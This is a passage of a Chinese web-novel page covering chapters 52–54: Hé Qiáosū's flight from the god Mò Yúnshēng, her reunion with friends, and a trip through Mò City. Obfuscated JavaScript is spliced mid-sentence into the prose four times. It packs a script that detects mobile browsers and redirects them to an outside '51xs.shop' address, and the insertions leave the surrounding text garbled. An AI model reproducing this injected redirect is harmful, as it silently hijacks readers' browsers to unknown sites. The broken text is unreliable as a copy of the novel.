忽冷忽热,忽远忽近,这让他有些挫败,更生出探究的欲望。 某日,何樵苏照常忽悠走墨云声,将身体还给贺兰音。 贺兰音欢欢喜喜换上自己最喜欢的蓝色衣裙,梳妆打扮后,提着一篮子水果去找卢奚。 何樵苏在她脑海中懒懒道: “喂,这可是墨云声送来给我吃的,你拿去给别的男人合适吗?” “你的就是我的,我的就是卢哥哥的。” 贺兰音娇俏答了一声,提着篮子哼着歌,去外院找卢奚。 卢奚一身青衣,长身玉立,气质间杂少年的清朗和大叔的温和,深深迷住了贺兰音。 也吸引了不少婢女。 此时他正给三个婢女交代事务,婢女们用仰慕的眼神看着他,这让贺兰音有些吃醋。 她站在拐角处,大喊一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268305|133376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声: “卢哥哥。” 卢奚听见后,转头回望,见是贺兰音,脸上立刻浮现出欢喜的神色来。 他最后叮嘱婢女两句,快步走过来,摸摸贺兰音的脑袋,宠溺道: “怎么这会儿过来了?” 贺兰音揪了揪小辫,扭捏道: “想你了嘛。” 她一手提篮,一手托住,向前一送: “喏,给你吃果子。” 卢奚接过果篮,一手提上,一手牵住贺兰音,对她说: “正好手头无事,我带你去外头逛逛。” 贺兰音连连点头,羞涩跟着他。 两人吃了梅花包子、清汤混沌,共饮两杯冰甜饮子。 又看了蹴鞠和傀儡戏,捏了面人。卢奚给贺兰音买了支银簪子,贺兰音给卢奚回了支鹿毫笔。 直到天黑,才牵着手依依不舍地回去。 到了藏书阁,月光洒满庭院,卢奚向贺兰音笑着告别。 贺兰音提着花灯和礼物,望着卢奚的背影,鼓起勇气喊: “等一下。” 卢奚疑惑转身,贺兰音飞奔过去,仰头,轻轻在他脸颊上落下一吻。 卢奚回过神来,伸手就要回抱她,忽然一道剑光过来,直直刺向两人面颊。 卢奚连忙推开贺兰音,两人趔趄退后两步,剑锋没有伤到皮肤,只是斩断两缕青丝。 贺兰音惊魂未定,转头一瞧,是墨云声。 墨云声跟了他们一天了。 这一天,他眼睁睁看着自己的女友和别的男人厮混闲逛,心里又酸又妒。 他黑着脸,咬牙切齿道: “小花?好一个小花,我这就杀了你的奸夫。” 说罢剑身一转,刺向卢奚心口。 贺兰音慌乱大喊“不要”,连忙冲卢奚扑过去,扑在他身前挡住利刃。 剑尖刺透她的衣裳,顷刻洇出一片血痕。 墨云声仓猝收手,向后踉跄几步,恨意萌生。 他惨然道: “何樵苏,你这么喜欢他,为什么还要来招惹我?” 贺兰音呼吸一窒,一时不知该怎么回答。 墨云声看她这个样子,心中更恨。 他扔掉剑,走出藏书阁,吩咐手下将卢奚和贺兰音分别关起来。 一周后,墨云声面色青黑来到监狱,将一沓纸扔到何樵苏脸上。 他死水般平静道: “你究竟是何樵苏、贺兰音,还是小花?” 何樵苏带着枷锁,艰难捡起那沓纸,一页页翻过去。 最上面是她的身份信息,纸上写明她是贺城城主之女贺兰音,自幼和崔家大公子定了婚。前些日子墨城放话要攻打贺城,城主便给她退了亲,打算将她送给墨城城主。她不愿意,卷了些财宝连夜逃跑,使手段混进墨城城主府当婢女。 其次是她来城主府后,认识的所有男人的供词。 有卢奚的,有郦管家的,有车护卫的,还有大大小小仅有一面之缘的路人的。 在供词里,她是卢奚青梅竹马的妹妹小花,也是郦管家眼中爱慕自己的小苏,是车护卫准备表明心意的暧昧者,也是路人小刘仰慕暗恋的白月光。 还有大大小小七八个男人,都和她有感情纠葛。 何樵苏手一抖,心想完了。 这下臣妾真的百口莫辩了。 52. 无声归去 何樵苏抬头望着墨云声,真诚道: “如果我告诉你,我的身体里住着两个灵魂,你信吗?” “何樵苏,你还在拿我当傻子糊弄?” 墨云声咬牙切齿道: “我现在就带兵出征,屠了你的贺城!” “不要!”何樵苏大喊,牵住他的衣角,哀求道: “千错万错都是我一个人的错,你有本事杀了我,报复到百姓身上算什么好汉?” “杀了你?哪有那么便宜。”墨云声冷笑,“我要让你亲眼看着贺城覆灭,悔恨终生。” 说罢拂袖离开。 何樵苏这下真的慌了,她六神无主道: “贺兰音,我们闯下大祸了。” “怎么办,他会不会杀了卢哥哥?”贺兰音声音颤抖。 “都什么时候了你还惦记着男人?”何樵苏烦躁道。 贺兰音更是气恼: “谁让你去招惹他,当初在藏书阁,为何不一剑了结他?” “说这些已经没意义了,我们现在想想办法,该怎么补救?” “怎么补救?一剑杀了他吗?” 对话停滞在这里,良久后,何樵苏若有所思: “倒也未尝不可。” 大军压境,兵临城下。 何樵苏靠装可怜,从狱卒那里骗来一把匕首,藏在腰间。 她双手被麻绳绑着,随军一路走到贺城城门口。 贺城城主站在城墙上,想投降,但又畏惧传闻。 传闻说墨城城主生平嗜杀,但更钦佩英雄。 如果一座城不战而降,他攻进来后,觉得城内将士没有血性,便会下令屠军。 如果将士拼死抵抗,他反而会高看一眼,将勇猛者编入自己队伍。 他站在城墙上,拿望远镜瞧着对面大军,心中犹豫不定。 突然,他看见对面身披银甲的士兵中,有一个蓝衣女子。 看上去颇为眼熟。 他睁大眼睛,探出头仔细去瞧,瞧了一会儿,吩咐身边近卫: “快去请夫人和老夫人过来。” 没一会儿,夫人搀着老夫人颤颤巍巍走上来,城主将望远镜递给她俩,怒声道: “看对面是不是你那逆女?” 夫人急忙接过望远镜一瞧,眼泪涔涔而下。 她捶胸顿足道: “我家阿音啊,怎么会叫敌军捉去?” 老夫人一听,连忙夺过望远镜,用她老眼昏花的眼睛一看,跟着哭了。 两人哭声惹得城主心烦。 他怒斥道: “都是你们教的好女儿!” 老夫人一敲拐杖,怒骂道: “阿音自小恪守女则女戒,从出生起就不曾见过外男,若不是你给她退婚,她怎么可能跑出去,叫墨城捉走?” 城主被拐杖打的连连后退,他急忙吩咐亲卫: “快快快,快将老夫人和夫人扶下去!” 他心中恼怒,但又割舍不下女儿,犹豫良久后,下了城墙,给墨云声写了一封信。 墨云声看到后,心中畅快,带着那封墨水未干的信,去找何樵苏。 何樵苏一身脏污,唯有脸颊干净一些。 墨云声将信打开,平平展到她眼前,嘲笑道: “看看你的父亲,多关心你。” 何樵苏看了好一会儿,看见最后一句写着: 【稚女无辜,望城主高抬贵手,放过小女。】 看到这里,她胸口一热,猛地喷出一口血。 墨云声慌了,连忙扔掉信纸,过来抱住她,双手扶住她的脸颊,鲜血抹了她一脸。 何樵苏断断续续道: “你要杀要剐,冲我来,为何要这样,为难我父亲?” 墨云声无措道: “我不要杀你,不要刮你,我只要你……” 话音未落,他感到脖颈一凉。 偏头,看见一个闪着寒芒的匕首。 何樵苏的声音比刀刃还冰冷,她说: “下令退兵,不然我就杀了你。” “杀了,我……”墨云声喃喃重复,而后仰头大笑起来。 笑着笑着,眼泪涌出眼眶,他轻轻问: “何樵苏,你有没有心?” 何樵苏匕首按进一寸,在他脖颈按下一道白痕。 “退兵。”她重复一遍。 然后,她看见墨云声向后退了一步,又一步,匕首在他脖颈横着,竟一分都刺不进去。 直到匕首磨损、卷刃,何樵苏的手腕向后折去,也没能刺进去。 她看见墨云声的身躯腾空而起。 “他飞,飞,飞,飞起来了?” 何樵苏不可置信,结结巴巴询问贺兰音。 此时的墨云声一身银甲,身披光华,威严燄然。 他身后,一条赤色九尾狐遮天蔽日,嘶吼着面向众人,似乎在发泄无边的痛苦。 天陡然暗下,贺兰音一声痛哭,她望着九尾狐,绝望道: “那是玉清道君。” “玉清道君?”何樵苏整个人都麻了。 她原本想着先挟持墨云声退兵,然后慢慢与他周旋,对他说尽好话,做足逢迎,总能哄他消气。 可现在是什么情况? 神话照进现实? 贺兰音说: “我们得罪了玉清道君,整个泽国都不敢招惹的存在。这下贺城完了,墨城完了,你完了,我也完了。” 她平静说完,接受必死的命运。 何樵苏这下真的绝望了。 她喃喃道: “我真该死啊。” 然后高高仰头,对墨云声喊: “墨云声,一切都是我一人所为,我愿以命偿之,只求你别牵连无辜百姓。” 墨云声没有回应,她将刀横在脖子上,一行泪水落下。 她轻轻对贺兰音说: “对不起。” 然后对墨云声说: “不管你信不信,我是真的喜欢你。” 说罢匕首落下,狠狠刺入脖子。 钝刃的痛苦如此真实,她睁着眼睛,瞳孔映出墨云声惊惶的脸。 她从未如此清晰感受到: 原来,这不是梦。 后面的事她就不知道了。 等她醒来,看见自己躺在乱葬岗里,身边都是各种各样腐烂的尸体。 她向四周摸索一圈,寻了些钱币,去大街上问行人: “这里是墨城还是贺城?发生了什么事?” 得知这里是贺城水乡。 墨城城主原本要攻打贺城,打到门口又不打了,鸣金收兵,还到处张贴了告示。 何樵苏连忙跑去告示栏前,看见上面写着: 何樵苏,所有过往一笔勾销,只要你回来。 何樵苏吓惨了,她慌不择路向外跑,跑到跌倒在地,起来一瘸一拐继续跑,最后跑到泽国边境,将所有钱都给了撑船艄公,求他赶快带自己离开。 艄公收了钱,撑船过江。 天空落下濛濛细雨,艄公左右拨水,站在船头唱着轻快的曲子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268306|133376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“西塞山前白鹭飞,桃花流水鳜鱼肥。青箬笠,绿蓑衣,斜风细雨不须归。” 斜风细雨,不须归。 何樵苏躺在船尾,仰头看雨,任雨水落进她的眼眶里,聚起一团小小的水窝。 * 庄非鱼迷迷糊糊中,听见有人在喊她。 她没有理会,继续睡觉。 耳边传来两个女孩谈笑的声音,忽然她鼻尖一痒,控制不住打了个喷嚏。 她睁开眼睛,看见面前是苏巧巧,和一个身形瘦弱的蓝衣姑娘。 “这一觉睡得美不美?”苏巧巧拿着狗尾巴草,笑着逗她。 庄非鱼坐起身来,四下一望,见不远处,翟流云蹲在草地上唤醒李念儿,便大松一口气。 她茫然问: “巧巧,这是怎么回事?发生了什么?” 没等苏巧巧开口,旁边的蓝衣女子先笑了。 她面向苏巧巧,玩味道: “巧巧?” 苏巧巧干笑一声,对蓝衣女子说: “我后面去了熙国盛京,化名苏巧巧。” 然后转头对庄非鱼道: “其实,我的真名是何樵苏。” “何樵苏?” 三道声音异口同声响起,庄非鱼抬头一看,李念儿和翟流云也都过来了。 “你一直在用假名字骗我们?” 庄非鱼捏住她的脸,怒声道。 “啊啊啊疼,” 苏巧巧龇牙咧嘴,抓住庄非鱼的手, “这不是事出有因嘛。” “有什么因?” 李念儿轻轻捏住她另一边脸蛋。 然后翟流云大喊一声: “请吃饭!” “好好好,现在走。” 苏巧巧连忙答应,庄非鱼和李念儿这才放开手。 五人来到一家餐馆,庄非鱼听苏巧巧熟稔地点菜。 一连点了七八个后,苏巧巧忽然一惊,问蓝衣女子: “贺城暂停了这么久,菜不会都过期了吧?” 蓝衣女子答: “不会的,我刚醒来时,手里苹果还是鲜亮的颜色呢。” 苏巧巧这下放了心,又点了米饭并几样蜜饯点心。 等菜上桌,庄非鱼吃了一口松鼠鳜鱼,发现是酸甜口的。 她吃不太惯,便将注意力转移到苏巧巧身上。 “所以,究竟是怎么回事?”她好奇问。 “此事说来话长。” “那就长话短说。” “好嘞!”苏巧巧用最快的速度说: “我刚穿越和贺兰音挤在一具身体里,勾引了玉清道君化身的墨城城主,渣了他,他就把贺城和墨城封了。” “什么什么什么?” 庄非鱼脑袋晕晕的,眼睛花花的。 “细说。” 李念儿夹起一个菱角放到她碟子里,言简意赅。 “我们可不缺时间。” 翟流云舀了碗莲子汤,苏巧巧正要接过,他却拐了个弯,送到李念儿面前。 苏巧巧用怨念的眼神盯着他,蓝衣女子见状,以为苏巧巧也想喝莲子汤,连忙舀了一碗递给她。 庄非鱼看他们几个舀了半天就舀上来几颗莲子,觉得搞笑,有心展示一下,便气沉丹田,勺子沉底,溜边儿,慢慢提起。 果然满满一勺莲子! 她瞟向在座各位,在心里得意道: 还是自己动手,丰衣足食,看在场诸位,谁有我的莲子多? 嘿嘿嘿,请封我为舀汤小天才! 53. 再见诉情 几人边吃饭,边听苏巧巧讲故事。 听到最后,不由得感叹: “渣女,真渣啊。” 苏巧巧不服气地反驳: “哪里渣了,我们一体双魂迫不得已好伐?” “好吧,刨除卢奚,剩下的六七个男人怎么回事?” 李念儿好笑地反问。 “幸好我家念儿没有跟你学坏。” 翟流云庆幸不已,觉得李念儿怎么看怎么顺眼,见她喝完莲子汤,又给她舀了一碗。 苏巧巧一听,小声嘟囔,嘴里说些“我只是犯了全天下男人都会犯的错误”“我和其他男人只是玩玩”“又没投入真感情”之类的话。 庄非鱼不由感叹: “巧巧,我是真滴佩服你,经历这么炸裂的事,还能坚守初心,在盛京左拥右抱一谈谈八个。更牛逼的是,完全没耽误工作,同时帮五六个部门干活不带抱怨的。” 这是什么先天满级人类? 听庄非鱼说完,蓝衣女子眼眶一红,咬牙望向苏巧巧: “你,你怎么还是那个死样子?” 听上去像老婆捉奸的语气。 在场众人表情一变,齐齐望向苏巧巧,用眼神谴责道: 你连女的都不放过?! 苏巧巧尬笑两声,给蓝衣女子舀了一碗汤,奉到她面前: “音音,你别听庄非鱼胡说,她神志不清的,不信我给你试试。” 然后转头面向庄非鱼,道: “Java是世界上最好的语言。” 庄非鱼果然炸了,她怒发冲冠,一拍桌子站起身来,震怒道: “C才是爹!” “好的请坐。” 苏巧巧从善如流地答应,转头对贺兰音道: “我第二次醒来,附身在乱葬岗一个女孩身上。听说墨云声退了兵,答应不再进攻贺城,就去熙国了……后来怎么会封城?” 贺兰音回忆过往,娓娓道来: “那一日你我自刎,我的魂魄晃晃悠悠飘进地府,走过奈何桥,即将喝孟婆汤时,玉清道君过来了。 他冷着脸说:‘你这样骗我,难道一死,就能还清?’ 随后他向阎王要走我的魂魄,给我加了八十年阳寿。再睁开眼,我回到家里,爹爹说我走了大运,玉清道君明日迎亲,我们一家要鸡犬升天了。 他劝我好好侍奉道君,可我心里还记挂着卢哥哥。 第二日洞房,玉清道君挑开红盖头,说:‘从此以后,这里就是你的牢笼。’ 我说:‘你认错人了,从头到尾,和你相知相遇的都不是贺兰音,而是何樵苏,你仔细看看,我们真的一样吗?’ 随后,我告诉他你的来历,玉清道君愣了许久,提着我又进地府,寻找你的魂魄。 我们找了七天七夜,翻遍整个地府,都没能找到。 阎王说:不入地府的魂魄,通常会回到自己的出生地去,不入轮回便会慢慢消散。 玉清道君听罢,封了贺城和墨城,四处寻找你的踪迹,没想到你又附到别人身上跑走了。” 说到这里,贺兰音扯住她的袖子,好奇问: “这具身体的另一个魂魄呢?你叫她出来,让我看看是什么样的?” “没有另一个魂魄,”苏巧巧摇摇头,“这具身体彻底死亡了。” “好吧。” 贺兰音失落一瞬,又凑到她耳边轻声说: “那六七个男人,我都替你认了。” 苏巧巧大喜,拍着她的肩膀感激道: “好姐妹,你真是我的好姐妹!” 两人架势摆得隐秘,可声音一点儿也不小,庄非鱼听了个十成十。 她摇头感叹,不知为何,总觉得身边少了个什么。 庄非鱼环顾一圈,边吃菜边想着,突然,她站起身来,发蒙道: “坏了,北山鄢呢?” * 时间倒退到两个时辰前。 北山鄢将四人带到城主府,指着苏巧巧道: “这位便是您要找的何樵苏。” 墨云声接过苏巧巧,抬眸问: “何以确定?” 北山鄢道: “这简单,你只需将其放到贺城城主之女面前,她自会辨清。” 墨云声心想这确实是个好办法,于是抱着苏巧巧,一路飞到贺兰音面前。 北山鄢带着庄非鱼和李念儿,紧随其后。 贺城一片寂静,贺兰音正站在自家的草地上,手里拿着被咬了一口的苹果。 墨云声将苏巧巧放到她面前,北山鄢亦将庄非鱼、李念儿、翟流云放到草地上。 墨云声犹豫片刻,拿出时间暂停器,轻轻一按。 时间开始流转,两人闪身躲到不远处,暗中窥探。 一瞬间,风开始吹动,水开始流动,树叶花朵轻轻摇晃,贺兰音猛然惊醒。 她迷茫摇了摇头,目光下意识看向手里的苹果。 苹果的缺口依旧鲜亮如新。 视线再向下,她看见脚下躺着个姑娘。 明明上一刻,这里什么人都没有的。 贺兰音心中疑惑,她蹲下身,看了这位姑娘好一会儿,轻轻拍拍她的脸颊: “姑娘,醒醒,你是谁呀?” 姑娘被拍醒了,她睁开眼睛一看,迷惘道: “贺兰音?” 随后坐起身,使劲揉了揉眼睛: “我怎么又回贺城了?” 贺兰音心神一震,她双手向前一撑,盯着苏巧巧,忐忑试探道: “何,何樵苏?” “是我,”苏巧巧随口回答,目光向四处乱看。 贺兰音陡然惊喜,她抱住何樵苏哭道: “你没死,我就知道你不会死,你怎么这么久不回来?” 听见贺兰音的哭喊,墨云声急忙向后一躲。 北山鄢打趣道: “数年未见,道君何故躲避?” 墨云声苦笑一声: “一时情怯,不敢面对。” 他透过树叶光影,深深看了一眼苏巧巧,随后道: “太子为我寻到人,我自然要满足太子一个要求。” 北山鄢望了一眼昏睡的庄非鱼,道: “另寻一处说话。” 两人回到墨城城主府,墨云声烧了一壶茶,一人倒了一杯。 北山鄢品了一口,赞叹道: “还是泽国龙井香郁叶醇。” 墨云声跟着品了一口,放下茶杯,道: “熙国太子果然手眼通天。” “机缘巧合罢了。” 北山鄢笑了笑。 “你想要什么?” 墨云声直接发问。 北山鄢慢慢放下茶杯,盯着墨云声的眼睛,微笑道: “我要你告诉我:神核如何易主?” 墨云声先是愕然,然后大笑道: “哈哈哈哈,不愧是北山鄢。” 他伸手一挥,一条赤红色的九尾狐凭空出现,乖巧蹲在一旁。 墨云声问: “小狐,如何换绑玩家系统?” 九尾狐碧绿的圆眼轻轻一闪,说: “个人无法完成换绑哦,需要提交管理员同意。” 墨云声向后一靠,好整以暇望着北山鄢: “你听见了,需要管理员同意。” “管理员是谁?”北山鄢继续问。 “管理员不是一个人,而是一群人。”墨云声道。 “都有谁?” “目前,整个世界上只有昊天有管理员权限。” 墨云声懒懒道: “别想了,你换个要求吧。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268307|133376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >北山鄢神情凝固了一瞬,他抬眼望着墨云声,继续道: “不必了,烦请玉清道君将您知道的、和神核易主有关的信息皆告知于我,此次交易便算结束。” 墨云声想了想,召唤出九尾狐: “小狐,将你知道关于换绑系统和管理员的信息都念一遍。” 九尾狐乖巧道: “好的。第一条:玩家可以提交换绑申请,由管理员审核同意后,方可换绑成功。第二条,换绑需在本人……第三十三条,管理员的引导系统是一枚绿色光球,如果您在游戏中见到,请不要惊讶哦。第三十四条……” 一共五十八条信息,北山鄢一字一句听完。 九尾狐念完,墨云声用看乐子的眼神望着他,戏谑道: “你不是我见过第一个想成神的凡人,但他们都失败了。” “道君焉知我不会是成功的那一个?” 北山鄢微笑不变,心却如浸过死水一般失望寂冷。 寻昊天换绑系统? 怎么可能? 只是他秉性坚韧,即便身处绝境,也要从绝境中算计出一条生路来。 墨云声嗤笑一声,站起身来,对北山鄢道: “走吧。” 北山鄢站起身来,跟他一同离开。 两人一直飞到庄非鱼几人吃饭的餐馆,上楼站在包厢门口,恰好听见庄非鱼那句话: “坏了,北山鄢呢?” 北山鄢在帘外悠然回答: “难为你还想起我。” 说罢撩帘进去。 墨云声在外面踌躇着,全然没有面对北山鄢时的从容。 北山鄢进去,先看了一眼庄非鱼,随后对苏巧巧笑言: “门外有人在等你。” “谁?” 苏巧巧端着酒杯,毫无防备地走出去。 然后看见了墨云声。 她瞳孔地震,第一时间用袖子捂住脸,要躲回房间。 但很快,她想起自己换了一具身体,墨云声未必能认出来,便放下袖子,若无其事道: “让一让,我去洗个手。” 墨云声抓住她的胳膊,颤声道: “樵苏,是我错怪你了。” 苏巧巧一听,心中暗喜,没想到这个傻蛋真被贺兰音骗到了。 她惯是会打蛇上棍的,见墨云声软和,自己的腰杆立刻挺直了。 她冷漠道: “都过去了,往后桥归桥陆归路。” “怎么能过去?” 墨云声手指紧了紧,语气越发内疚,他说: “我知道错了,我会尽力弥补你。那个贺兰音,我会给她送上十个八个美男子,让她在贺城稳稳当当。往后我们两个在一起,你叫我往东,我绝不往西。” 苏巧巧在心中尖叫: 反了! 全反了!! 你应该给我送十个八个美男,让贺兰音和她的小卢在一起!!! 但她面上还是一片冷漠。 她将手中杯酒缓缓洒下,冷笑道: “晚了,过去的伤疤就像这杯水一样,泼下去,就再也收不回来了。” “能收回来!” 墨云声急切地松开手,指尖向下一点,那杯洒在地面的水,原原本本流回杯中。 苏巧巧愣了一下,心里脏话按捺不住,几乎要喷涌。 他喵的,就你能! 她想将酒杯倒扣在墨云声头上,一边锤他一边骂他。 但碍于人设,她只是扬手,将酒水一滴不剩泼到他脸上,转身走进房间。 然后和门口的庄非鱼李念儿翟流云贺兰音撞了个满怀。 除了北山鄢,所有人都扒在门缝上偷听。 她终于破防了,惊声尖叫道: “庄坏鱼李坏念翟坏云!我要锤死你们!!!” 54. 险遭雷击 苏巧巧冷着脸进来吃饭,斥候部几人和贺兰音也都各自坐回去,独留墨云声一人站在外面,可怜极了。 北山鄢看不过去,出门邀他进来,一并坐下。 墨云声坐到苏巧巧旁边,和贺兰音一左一右。 庄非鱼看了看北山鄢,又看了看墨云声,好奇问: “你们怎么会一起过来?” 北山鄢笑着给庄非鱼夹了块花折鹅糕,回答道: “我和道君很久以前就认识了,这次无意闯入他的领地,便寻他叙了叙旧。” 庄非鱼“哦”了一声,心想北山鄢可真够牛的,和三个最顶尖的玩家都有接触。 一个九天玄女想攻略他,一个玉清道君是他的老相识,一个昊天是他国家的守护神。 还有这么多奇奇怪怪的仙器。 这就是男主待遇吗? 每个玩家都想攻略一下。 她一口吃掉花折鹅糕,觉得北山鄢真懂美食,每次夹的菜都是她喜欢的口味。 于是放弃自己动手,坐等投喂。 墨云声有样学样,给苏巧巧夹了几道他觉得不错的菜式,还贴心摆出花朵的造型,但苏巧巧正和他闹别扭,放在那里一口没吃。 翟流云看着左边摆出的花朵造型,右边一口吃完立刻续上的操作,眼前一黑,心想现在讨好女友已经这么卷了吗? 这让他怎么学? 他小心翼翼问李念儿: “你想吃什么,我给你拿。” 李念儿摇头道: “你自个儿吃吧,我会照顾好自己。” 她不好意思说:翟流云夹的菜都是她不爱吃的。 几人吃完了暗潮涌动的一顿饭,全程游离在外的贺兰音,不知为何,想起关押在墨城的卢奚来。 真相大白后,墨云声担心何樵苏还会附身回来,非将她关在闺房里,不让她接触外男。 现在樵苏回来了,自己也能和卢哥哥成亲吧。 她小心翼翼地走过去,向玉清道君行了一礼,问道: “道君,既然姐姐回来了,那,卢管事……” 墨云声和颜悦色道: “放心,我会放他出来,等你们结婚时,还会送上一份大礼。” 说罢转头对苏巧巧道: “她的婚礼什么时候办比较好?明日,还是后日?” 苏巧巧无语,锤了他一把: “这是人家父母该操心的事。” 庄非鱼几人跟在后面,翟流云突然问道: “你们怎么过来这么快?” 李念儿回他: “是太子殿下御剑带我们来的。” 随后又问: “采莲镇失踪的百姓呢?” 苏巧巧听罢,又锤了墨云声一下,墨云声连忙转头回答: “无事,封印取消后,他们应该自行回家了。” 说到这里,庄非鱼一拍脑袋: “哎呀,我们没有请假就跑过来了。” “得尽快回去。”李念儿补充道。 墨云声一听,身躯僵住了。 他牵住苏巧巧的手,哀求道: “樵苏,你不要走好不好?留下来陪我……” 庄非鱼一听就炸,她过去牵住苏巧巧的另一只手,盯着墨云声: “凭什么让巧巧留下陪你,而不是你去熙国陪她?” 墨云声无奈道: “昊天一系的神明,不允许其他神明随意进出熙国,我若去了,免不了一场战争。” “哦这样啊,”庄非鱼收回气势,小声嘀咕道,“昊天可真是霸道。” 她生活中从来没见过这么小气又霸道的人。 翟流云跟在后面,和李念儿一左一右,分别在她脑袋上拍了一下: “不许对昊天不敬!” “哪里不敬,我说的是事实好吧?”庄非鱼跳脚。 北山鄢回头瞥了二人一眼,伸手轻轻去揉小鱼的脑袋。 苏巧巧在最前面走着,她忽然回头对几人说: “让我想一晚上,是去是留,明天决定好不好?” “好啊,刚好欣赏一下贺城的夜景。” “再尝尝贺城的特色美食。” 庄非鱼几人连声答应。 回到城主府,墨云声给每个人都安排了一个小院子。 庄非鱼住的是水荷院,此时初夏已至,片片荷叶布满池塘,大多数荷花还是含苞欲放的模样,有些心急的已经悄然绽放。 但庄非鱼没有欣赏的心思。 她躲到房间里,小声喊道: “系统!” 绿色小圆球“biu”的一下现身。 庄非鱼对它说: “系统,你查查墨城有没有问题?” 系统微微一歪头,说: “因游戏失控,无法联网,系统只能检测周边五公里的区域,请您带着系统走遍墨城,系统就能检测啦。” 庄非鱼一拍脑袋,心想怎么把这茬忘了。 于是她继续道: “那你查查墨云声。” 系统继续歪头: “请您带我去墨云声附近,进行扫描排查。” 庄非鱼一听,收起系统,偷偷潜伏过去。 摸到墨云声院子时已经深夜了,她爬上屋顶,见苏巧巧和墨云声两人似乎在争吵。 庄非鱼叹了口气,用怜悯的眼神看着这对情侣,分不清到底是墨云声遇见渣女更倒霉一些,还是苏巧巧遇见全服前三的病娇玩家更倒霉一些。 非礼勿视,庄非鱼便在屋顶唤出系统,叫系统播放广告,她一个人津津有味看下去。 过了一会儿,两人不吵了,苏巧巧拂袖离去。 庄非鱼关了广告,告诉系统: “现在排查墨云声。” 话音刚落,就见墨云声站在她面前,微笑道: “排查我做什么?” 不愧是全服前三,这么敏锐。 庄非鱼老实道: “我是黎世集□□进来的游戏修理员,走程序排查下问题。” “修,理,员……管理员?” 墨云声眼睛一移,看到那枚发光的荧光绿小圆球,忽然大笑起来。 他笑到弯下腰,眼泪飚出。 庄非鱼不解问他: “你笑什么?” 墨云声看着她,边笑边道: “我留给你一个惊喜,等哪日发现了,不要忘了感谢我哦。” “什么惊喜?”庄非鱼不明所以。 “惊喜,就是要在合适的时间出现,提前说出来就不是惊喜了。”墨云声微笑道。 他轻轻挥手,一只赤红九尾狐扑上来,系统小圆球身上突然弹出一个对话框: 【用户玉清道君68937申请加您为好友 同意拒绝】 庄非鱼迷惑不解,但还是点了同意。 紧接着,系统金属般的声音响起: “嘀——排查结束,用户玉清道君68937无问题。” 墨云声向后一退,悬立在空中,轻笑道: “晚安,管理员。” 随后猛然下坠,消失在夜色里。 庄非鱼带着满肚子疑惑回去,只觉前方似有重重迷雾笼罩。 北山鄢、墨云声、黎颂……这些人个个身上都是秘密,让她怎么也看不真切。 庄非鱼想到半夜,沉沉睡去。 第二天醒来,苏巧巧赶走墨云声,说要带她们好好逛逛墨城。 一行人游了湖,听了曲,采了菱角,钓了鱼。 庄非鱼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13272354|133376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钓了半天钓不到,气得她下水去捉,捉上来一只大鲤鱼。 下午,苏巧巧正式和她们道别。 给几人装上墨城特有的点心和纪念品后,苏巧巧含笑道: “我就不跟你们回去啦,我欠墨云声这么多,往后想多陪他一点。” 庄非鱼不死心问: “真的就留在墨城了?” 苏巧巧抿嘴一笑,点了点头。 她心想:傻丫头,要么我主动留在墨城,要么你们都陪我被墨云声留下。 她刚穿越时不知天高地厚,融入这个世界后才知道玉清道君有多可怕。 审时度势是她的本能,从踏入墨城那天起,结局就已注定。 李念儿也懂苏巧巧的想法,她向前一步,对苏巧巧小声说: “除魔司的职位,我给你留着。” “好,我们有缘再见。” 两人握住一只手,拥抱在一起。 庄非鱼是最不舍的。 苏巧巧不仅是她的同事,还是她在这个世界唯二认识的穿越者。 没了苏巧巧,以后她那些梗,还有谁能接上呢? 踏上剑,她将脑袋埋在北山鄢后背上,沉默流泪,洇湿他的衣裳。 一直飞了几个时辰,忽然天空一道闪电划过,雷声轰隆隆传来。 北山鄢连忙俯冲下去。 几人站在一处平地上,惊魂未定。互相望向对方,噗嗤一笑。 所有人的头发丝都竖起来了,像一排排小扇子,好笑极了。 庄非鱼一看,连忙扔掉腰间的残刀缺剑,大喊道: “灵衍,你快扔开剑,还有什么金属全都扔掉,大家赶快抱头蹲下,手别接触地面。” 